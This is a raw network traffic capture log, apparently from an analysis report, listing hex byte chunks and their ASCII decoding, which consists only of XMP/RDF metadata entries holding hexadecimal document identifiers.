2022-07-20 07:08:24 UTC	3064	IN	Data Raw: 36 32 46 36 43 36 31 42 41 38 38 31 39 32 46 43 36 45 32 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 42 37 31 32 44 44 34 45 41 37 32 37 34 34 46 39 41 44 30 31 33 32 31 32 44 31 34 34 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 42 43 37 36 44 32 44 34 33 46 33 38 37 34 39 35 36 41 39 43 39 36 32 32 45 36 35 37 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 43 37 45 38 34 45 32 34 33 44 45 32 44 43 44 44 42 42 36 30 30 30 42 37 32 45 32 43 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 43 41 38 36 34 31 31 36 36 32 38 34 43 41 42 46 31 35 44 43 39 43 45 37 38 46 45 44 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 44 32 36 39 38 37 31 39 35 42 37 31 45 34 Data Ascii: 62F6C61BA88192FC6E2D4</rdf:li> <rdf:li>20B712DD4EA72744F9AD013212D14498</rdf:li> <rdf:li>20BC76D2D43F3874956A9C9622E657CF</rdf:li> <rdf:li>20C7E84E243DE2DCDDBB6000B72E2C01</rdf:li> <rdf:li>20CA8641166284CABF15DC9CE78FED38</rdf:li> <rdf:li>20D26987195B71E4
2022-07-20 07:08:24 UTC	3120	IN	Data Raw: 66 3a 6c 69 3e 32 44 30 44 33 31 35 30 37 30 33 46 37 34 31 38 44 46 39 46 33 45 44 45 35 34 34 35 43 30 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 33 34 38 46 37 36 42 33 36 44 36 44 43 39 34 34 38 39 32 38 31 35 38 39 30 32 37 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 39 43 36 45 46 44 44 44 44 34 45 41 46 43 33 32 32 34 44 44 31 44 34 34 35 35 32 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 41 33 33 44 30 35 46 31 30 46 35 30 31 35 37 35 38 38 38 31 31 37 37 36 38 36 34 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 42 31 36 44 31 38 44 38 33 39 35 37 39 35 33 32 33 37 35 41 35 31 45 42 31 41 32 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>2D0D3150703F7418DF9F3EDE5445C02B</rdf:li> <rdf:li>2D2348F76B36D6DC944892815890270F</rdf:li> <rdf:li>2D29C6EFDDDD4EAFC3224DD1D4455259</rdf:li> <rdf:li>2D2A33D05F10F501575888117768641D</rdf:li> <rdf:li>2D2B16D18D839579532375A51EB1A26C</rdf:li> <rdf:li>
2022-07-20 07:08:24 UTC	3287	IN	Data Raw: 38 31 30 38 38 37 37 38 32 41 37 42 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 31 33 42 45 35 34 43 41 43 33 30 46 46 31 34 45 45 34 39 35 41 36 38 43 42 38 45 36 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 31 36 34 33 41 39 30 44 36 30 43 35 36 36 30 34 32 34 43 42 46 38 33 43 46 30 37 43 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 31 46 36 36 30 31 42 43 42 39 33 41 36 39 33 34 46 39 43 45 45 38 32 39 45 44 36 43 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 32 42 45 46 33 38 32 33 45 45 31 32 35 36 31 43 31 39 42 44 35 42 35 38 33 32 35 33 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 32 43 44 46 45 32 37 38 38 30 42 35 45 34 31 31 37 37 45 36 31 Data Ascii: 810887782A7B0E</rdf:li> <rdf:li>3313BE54CAC30FF14EE495A68CB8E620</rdf:li> <rdf:li>331643A90D60C5660424CBF83CF07C00</rdf:li> <rdf:li>331F6601BCB93A6934F9CEE829ED6CAC</rdf:li> <rdf:li>332BEF3823EE12561C19BD5B58325314</rdf:li> <rdf:li>332CDFE27880B5E41177E61
2022-07-20 07:08:24 UTC	3319	IN	Data Raw: 38 32 45 44 43 34 45 37 45 39 30 41 42 37 30 34 35 42 32 46 39 45 36 36 33 36 45 30 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 38 39 32 46 33 38 42 44 39 34 34 33 36 44 38 42 46 36 31 39 41 43 39 32 38 45 39 30 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 38 44 39 31 35 43 41 38 36 42 43 36 33 36 33 46 37 46 45 44 42 45 45 45 36 30 30 30 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 38 45 37 33 36 46 36 35 38 38 41 32 30 45 36 34 33 34 42 37 32 43 33 32 37 45 44 35 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 39 31 38 33 34 38 30 44 39 41 30 45 35 36 38 35 37 37 32 42 38 44 46 45 38 35 42 36 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 39 32 39 38 43 Data Ascii: 82EDC4E7E90AB7045B2F9E6636E076</rdf:li> <rdf:li>40892F38BD94436D8BF619AC928E90D8</rdf:li> <rdf:li>408D915CA86BC6363F7FEDBEEE60009A</rdf:li> <rdf:li>408E736F6588A20E6434B72C327ED53D</rdf:li> <rdf:li>409183480D9A0E5685772B8DFE85B67D</rdf:li> <rdf:li>409298C
2022-07-20 07:08:24 UTC	3335	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 37 44 39 38 39 37 30 34 44 37 30 43 34 30 46 32 42 41 32 36 31 39 46 39 37 35 35 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 45 35 39 31 33 34 33 46 36 31 36 44 36 33 38 38 45 31 35 37 46 31 42 44 43 33 39 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 43 30 44 33 37 38 43 31 31 35 39 41 38 31 43 42 37 42 46 45 42 32 33 41 32 41 38 34 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 43 30 46 37 35 39 34 36 30 30 35 46 41 45 38 33 43 30 37 39 36 30 37 31 43 43 46 42 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 43 31 37 32 33 41 37 34 31 46 36 43 45 36 34 39 46 35 41 33 34 45 32 34 30 35 31 41 39 45 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: f:li> <rdf:li>4DB7D989704D70C40F2BA2619F9755B0</rdf:li> <rdf:li>4DBE591343F616D6388E157F1BDC3921</rdf:li> <rdf:li>4DC0D378C1159A81CB7BFEB23A2A8442</rdf:li> <rdf:li>4DC0F75946005FAE83C0796071CCFB31</rdf:li> <rdf:li>4DC1723A741F6CE649F5A34E24051A9E</rdf:li>
2022-07-20 07:08:24 UTC	3343	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 34 32 43 43 46 31 46 43 30 30 43 36 42 30 38 41 39 31 35 42 35 36 44 38 34 44 42 43 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 34 39 33 39 34 34 42 41 38 37 45 37 39 37 39 46 43 44 31 32 42 46 36 46 38 34 34 38 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 37 31 43 38 33 46 45 36 33 32 44 32 34 34 36 34 45 30 36 35 43 30 31 30 32 35 32 33 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 37 35 35 31 39 45 30 43 39 33 34 41 39 35 39 46 43 30 34 30 43 34 42 42 41 38 39 36 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 38 43 30 39 38 33 45 44 33 30 30 43 39 33 43 32 30 30 32 43 36 32 41 45 32 43 43 39 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: li> <rdf:li>5442CCF1FC00C6B08A915B56D84DBCD0</rdf:li> <rdf:li>54493944BA87E7979FCD12BF6F844871</rdf:li> <rdf:li>5471C83FE632D24464E065C01025236D</rdf:li> <rdf:li>5475519E0C934A959FC040C4BBA8962F</rdf:li> <rdf:li>548C0983ED300C93C2002C62AE2CC994</rdf:li> <
2022-07-20 07:08:24 UTC	3359	IN	Data Raw: 31 37 37 39 42 37 44 41 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 42 45 36 46 35 36 39 46 43 43 34 38 42 32 44 45 43 38 34 38 45 42 36 41 44 33 39 41 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 43 34 46 34 43 46 34 41 35 32 42 41 43 34 39 46 43 44 46 35 34 36 43 30 34 44 30 38 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 44 37 44 38 45 45 38 35 36 46 32 46 44 41 36 38 39 46 37 43 42 38 36 31 34 41 32 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 45 32 32 45 44 35 34 31 37 44 30 46 30 34 39 37 31 35 43 42 43 41 46 37 36 36 36 45 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 45 42 39 32 34 42 46 45 31 45 43 43 39 34 33 43 37 31 43 45 36 44 38 46 38 Data Ascii: 1779B7DA7D</rdf:li> <rdf:li>62BE6F569FCC48B2DEC848EB6AD39A76</rdf:li> <rdf:li>62C4F4CF4A52BAC49FCDF546C04D0820</rdf:li> <rdf:li>62D7D8EE856F2FDA689F7CB8614A2A5C</rdf:li> <rdf:li>62E22ED5417D0F049715CBCAF7666EE3</rdf:li> <rdf:li>62EB924BFE1ECC943C71CE6D8F8
2022-07-20 07:08:24 UTC	3391	IN	Data Raw: 42 33 46 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 43 36 41 42 34 41 43 32 41 46 30 37 30 33 39 34 30 38 39 42 36 42 30 46 46 42 37 46 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 31 30 37 41 38 33 34 42 31 37 42 46 31 46 43 36 33 38 44 34 43 39 30 35 37 43 32 30 30 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 31 31 42 30 37 43 46 32 32 41 33 31 44 30 32 41 35 42 33 37 33 43 42 34 34 36 35 30 34 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 31 32 30 35 30 30 45 36 37 43 38 31 37 33 37 32 36 43 38 43 42 39 41 33 44 37 38 42 39 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 31 32 33 36 34 36 30 34 38 46 39 36 39 36 32 35 43 33 30 39 41 41 31 45 45 38 33 37 38 46 33 Data Ascii: B3FBF</rdf:li> <rdf:li>70C6AB4AC2AF070394089B6B0FFB7F7F</rdf:li> <rdf:li>7107A834B17BF1FC638D4C9057C200EB</rdf:li> <rdf:li>711B07CF22A31D02A5B373CB4465047E</rdf:li> <rdf:li>7120500E67C8173726C8CB9A3D78B9DF</rdf:li> <rdf:li>7123646048F969625C309AA1EE8378F3
2022-07-20 07:08:24 UTC	3406	IN	Data Raw: 41 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 33 42 30 33 30 39 37 42 37 44 34 42 43 44 42 38 37 31 34 43 37 44 46 33 36 45 43 32 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 34 38 45 43 37 34 41 45 46 32 32 30 42 43 31 44 37 42 37 44 43 44 34 45 45 41 46 33 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 34 43 45 43 38 39 45 33 41 41 34 44 39 37 44 33 36 31 37 42 30 46 43 30 34 37 33 32 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 34 45 44 32 41 31 36 33 46 31 45 43 44 36 42 42 37 43 32 33 33 46 46 41 36 34 30 43 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 36 33 31 45 33 34 39 44 32 41 33 31 36 35 42 36 37 35 30 35 41 30 41 34 41 34 41 37 33 32 3c 2f Data Ascii: A64</rdf:li> <rdf:li>773B03097B7D4BCDB8714C7DF36EC264</rdf:li> <rdf:li>7748EC74AEF220BC1D7B7DCD4EEAF384</rdf:li> <rdf:li>774CEC89E3AA4D97D3617B0FC04732DD</rdf:li> <rdf:li>774ED2A163F1ECD6BB7C233FFA640C6B</rdf:li> <rdf:li>77631E349D2A3165B67505A0A4A4A732</
2022-07-20 07:08:24 UTC	3422	IN	Data Raw: 46 34 32 46 38 46 33 43 44 30 39 35 44 41 45 34 46 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 31 44 39 38 44 32 46 31 43 31 38 43 42 46 44 39 41 33 31 35 46 33 36 44 38 32 33 43 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 32 37 41 43 31 32 46 31 31 31 39 31 45 33 33 30 37 43 31 32 43 41 46 34 33 41 31 39 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 32 41 33 35 30 36 33 46 38 36 31 46 39 30 38 41 46 31 42 31 32 34 41 33 37 38 34 43 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 32 41 37 34 39 31 42 34 39 37 42 46 37 35 41 39 46 36 38 32 37 42 45 34 30 36 34 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 34 34 34 46 41 45 34 35 43 41 45 31 46 37 37 41 Data Ascii: F42F8F3CD095DAE4FF8</rdf:li> <rdf:li>851D98D2F1C18CBFD9A315F36D823C82</rdf:li> <rdf:li>8527AC12F11191E3307C12CAF43A194A</rdf:li> <rdf:li>852A35063F861F908AF1B124A3784CFD</rdf:li> <rdf:li>852A7491B497BF75A9F6827BE406475E</rdf:li> <rdf:li>85444FAE45CAE1F77A
2022-07-20 07:08:24 UTC	3438	IN	Data Raw: 6c 69 3e 39 32 42 41 36 39 41 44 41 36 36 35 31 42 39 33 37 42 44 32 30 46 38 39 30 41 35 38 39 42 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 42 41 45 45 36 41 41 30 46 34 38 33 34 45 36 41 34 34 45 32 45 43 36 31 33 30 36 33 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 44 36 31 43 30 31 41 38 37 44 34 39 33 46 38 35 38 34 43 39 31 42 46 36 46 39 31 39 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 44 41 43 31 33 35 46 42 42 35 41 44 38 32 44 34 39 30 46 35 36 32 39 34 34 34 35 45 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 45 35 34 33 30 44 37 45 41 38 36 34 33 43 31 35 45 31 36 43 46 31 38 31 43 30 46 41 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 33 Data Ascii: li>92BA69ADA6651B937BD20F890A589B5C</rdf:li> <rdf:li>92BAEE6AA0F4834E6A44E2EC61306388</rdf:li> <rdf:li>92D61C01A87D493F8584C91BF6F91913</rdf:li> <rdf:li>92DAC135FBB5AD82D490F56294445EB0</rdf:li> <rdf:li>92E5430D7EA8643C15E16CF181C0FA13</rdf:li> <rdf:li>93
2022-07-20 07:08:24 UTC	3446	IN	Data Raw: 3e 39 39 38 36 30 34 36 32 45 37 39 37 33 37 41 34 32 45 33 35 32 43 30 32 32 34 36 37 42 31 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 39 39 37 46 44 30 44 41 32 35 34 43 46 43 44 46 41 35 31 30 38 34 37 39 42 31 31 32 42 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 39 41 32 30 41 33 38 41 35 42 41 38 41 42 45 46 36 30 38 46 42 36 34 37 36 33 33 30 39 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 39 43 38 44 39 31 39 46 33 42 45 30 43 42 41 38 30 44 32 44 43 31 33 33 34 30 35 46 31 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 39 44 34 32 43 41 41 33 37 31 37 44 42 36 44 43 34 39 30 39 31 35 46 31 43 36 33 42 45 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 39 44 38 Data Ascii: >99860462E79737A42E352C022467B199</rdf:li> <rdf:li>9997FD0DA254CFCDFA5108479B112BEA</rdf:li> <rdf:li>99A20A38A5BA8ABEF608FB647633094C</rdf:li> <rdf:li>99C8D919F3BE0CBA80D2DC133405F105</rdf:li> <rdf:li>99D42CAA3717DB6DC490915F1C63BEFF</rdf:li> <rdf:li>99D8
2022-07-20 07:08:24 UTC	3462	IN	Data Raw: 43 38 30 46 43 31 46 43 43 46 34 33 42 42 30 31 46 38 36 46 31 36 31 45 34 32 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 43 33 43 41 45 34 44 44 33 39 43 43 41 32 35 35 32 38 31 46 32 46 46 30 30 46 41 42 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 43 34 33 32 42 34 35 44 34 41 36 30 37 39 45 35 41 46 34 38 31 36 38 44 42 34 33 37 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 44 31 30 45 38 30 38 43 45 45 35 34 36 35 33 44 30 43 42 43 42 36 31 44 32 39 42 45 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 44 32 43 44 37 44 44 42 42 36 46 44 46 31 30 32 34 31 42 41 32 30 36 31 42 34 46 43 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 44 35 30 35 39 38 33 Data Ascii: C80FC1FCCF43BB01F86F161E4251</rdf:li> <rdf:li>A6C3CAE4DD39CCA255281F2FF00FABCA</rdf:li> <rdf:li>A6C432B45D4A6079E5AF48168DB43721</rdf:li> <rdf:li>A6D10E808CEE54653D0CBCB61D29BE55</rdf:li> <rdf:li>A6D2CD7DDBB6FDF10241BA2061B4FCDC</rdf:li> <rdf:li>A6D505983
2022-07-20 07:08:24 UTC	3478	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 36 32 43 33 32 42 35 38 41 32 45 34 46 38 45 39 37 37 38 30 30 31 39 35 42 42 45 30 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 36 37 31 46 41 31 45 32 35 30 31 46 35 37 46 31 33 43 38 33 32 44 44 44 33 39 38 35 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 36 38 46 43 43 34 33 31 39 31 46 36 43 31 39 36 44 32 33 44 42 36 42 44 41 44 32 42 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 37 41 41 32 36 31 42 35 30 36 43 41 31 46 43 38 35 38 34 31 39 32 30 44 44 32 36 36 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 38 34 45 30 43 36 39 35 44 46 35 43 31 38 46 39 38 43 46 41 45 36 42 46 39 44 43 31 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: li> <rdf:li>B462C32B58A2E4F8E977800195BBE0D8</rdf:li> <rdf:li>B4671FA1E2501F57F13C832DDD398588</rdf:li> <rdf:li>B468FCC43191F6C196D23DB6BDAD2B14</rdf:li> <rdf:li>B47AA261B506CA1FC85841920DD26696</rdf:li> <rdf:li>B484E0C695DF5C18F98CFAE6BF9DC13A</rdf:li> <
2022-07-20 07:08:24 UTC	3486	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 45 31 41 44 35 31 45 43 30 31 32 46 34 31 31 38 30 41 38 36 42 34 36 38 32 42 39 36 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 45 36 35 35 44 41 32 46 30 34 46 46 35 39 37 41 31 45 45 39 46 36 30 33 39 46 41 45 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 46 34 35 33 31 34 39 36 38 30 34 36 43 38 45 37 45 39 32 43 43 37 45 31 37 32 46 46 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 46 35 35 34 36 42 38 30 32 37 33 42 32 30 41 45 46 41 32 42 35 43 42 34 39 42 31 31 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 30 41 34 44 46 45 44 30 45 36 31 34 38 35 32 37 42 42 33 41 39 32 30 32 32 45 35 46 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: > <rdf:li>BAE1AD51EC012F41180A86B4682B9663</rdf:li> <rdf:li>BAE655DA2F04FF597A1EE9F6039FAEB8</rdf:li> <rdf:li>BAF45314968046C8E7E92CC7E172FF80</rdf:li> <rdf:li>BAF5546B80273B20AEFA2B5CB49B1140</rdf:li> <rdf:li>BB0A4DFED0E6148527BB3A92022E5F40</rdf:li> <rd
2022-07-20 07:08:24 UTC	3487	IN	Data Raw: 30 46 44 32 36 34 34 35 30 44 39 32 42 33 31 45 39 44 41 44 43 35 41 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 45 45 34 38 31 34 46 38 42 41 34 38 31 39 30 42 32 39 30 45 32 42 32 31 44 42 36 44 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 45 45 39 36 31 36 33 43 38 36 43 34 39 42 35 34 31 45 37 34 31 43 33 46 38 33 44 39 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 46 36 32 30 37 38 35 34 32 32 33 41 44 35 32 31 37 42 39 44 34 41 35 31 31 45 33 46 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 46 44 39 42 36 44 36 31 31 44 33 31 45 42 36 32 36 41 41 33 44 46 43 30 37 44 45 38 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 43 31 30 45 44 36 44 44 35 36 32 Data Ascii: 0FD264450D92B31E9DADC5A44</rdf:li> <rdf:li>BBEE4814F8BA48190B290E2B21DB6D56</rdf:li> <rdf:li>BBEE96163C86C49B541E741C3F83D963</rdf:li> <rdf:li>BBF6207854223AD5217B9D4A511E3FF9</rdf:li> <rdf:li>BBFD9B6D611D31EB626AA3DFC07DE87C</rdf:li> <rdf:li>BC10ED6DD562
2022-07-20 07:08:24 UTC	3639	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 43 39 44 38 33 46 45 44 34 41 41 46 41 43 37 37 37 32 46 34 32 38 43 45 35 45 39 33 46 35 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 44 41 31 38 46 44 30 39 37 32 32 37 37 37 44 37 46 36 37 43 30 35 41 41 30 34 36 46 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 44 42 30 44 30 35 36 33 32 31 37 43 33 32 41 33 46 35 31 37 45 46 41 38 41 38 37 37 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 44 43 43 34 30 32 33 42 33 46 32 35 30 46 45 45 45 45 38 34 44 41 35 41 35 32 31 35 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 45 39 34 32 32 31 30 44 38 33 39 39 38 37 41 44 43 31 32 44 35 35 44 30 46 30 32 33 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: <rdf:li>C9D83FED4AAFAC7772F428CE5E93F591</rdf:li> <rdf:li>C9DA18FD09722777D7F67C05AA046F33</rdf:li> <rdf:li>C9DB0D0563217C32A3F517EFA8A8778D</rdf:li> <rdf:li>C9DCC4023B3F250FEEEE84DA5A521523</rdf:li> <rdf:li>C9E942210D839987ADC12D55D0F023AE</rdf:li> <rdf
2022-07-20 07:08:24 UTC	3655	IN	Data Raw: 3a 6c 69 3e 44 36 46 42 34 36 41 46 31 36 41 39 33 39 42 38 44 30 46 41 31 31 36 30 43 32 30 33 45 45 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 37 31 32 36 39 37 41 37 32 42 32 38 32 41 45 30 43 32 43 45 41 37 32 44 31 41 42 43 30 45 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 37 31 36 41 45 35 39 37 36 33 42 41 32 37 37 39 44 32 41 41 45 41 41 35 30 43 33 42 46 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 37 32 30 30 44 46 30 39 36 32 38 35 44 35 42 37 36 45 30 31 35 35 31 31 38 43 34 35 38 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 37 32 30 43 46 33 45 46 33 30 42 36 30 41 32 33 41 31 30 30 43 32 31 42 31 34 39 37 45 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 Data Ascii: :li>D6FB46AF16A939B8D0FA1160C203EEE7</rdf:li> <rdf:li>D712697A72B282AE0C2CEA72D1ABC0E0</rdf:li> <rdf:li>D716AE59763BA2779D2AAEAA50C3BFC0</rdf:li> <rdf:li>D7200DF096285D5B76E0155118C458AC</rdf:li> <rdf:li>D720CF3EF30B60A23A100C21B1497EF9</rdf:li> <rdf:li>D
2022-07-20 07:08:24 UTC	3717	IN	Data Raw: 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 38 41 32 39 33 44 33 43 30 37 33 45 31 39 41 34 36 41 32 35 37 31 42 42 38 44 45 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 38 42 37 31 35 34 41 38 42 44 37 39 39 44 44 34 42 46 43 32 33 42 45 42 41 39 35 33 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 38 42 42 36 42 31 38 46 46 41 43 43 31 41 44 30 42 30 34 37 33 35 35 30 32 45 34 33 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 38 44 43 42 41 37 42 31 38 35 46 42 44 43 43 32 31 34 35 34 38 32 41 36 30 45 35 46 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 39 35 34 31 31 45 36 37 30 32 30 34 30 46 31 31 45 35 38 43 36 42 38 34 38 32 30 41 46 43 3c 2f 72 64 Data Ascii: 4</rdf:li> <rdf:li>DC8A293D3C073E19A46A2571BB8DECEF</rdf:li> <rdf:li>DC8B7154A8BD799DD4BFC23BEBA95383</rdf:li> <rdf:li>DC8BB6B18FFACC1AD0B04735502E4364</rdf:li> <rdf:li>DC8DCBA7B185FBDCC2145482A60E5F22</rdf:li> <rdf:li>DC95411E6702040F11E58C6B84820AFC</rd
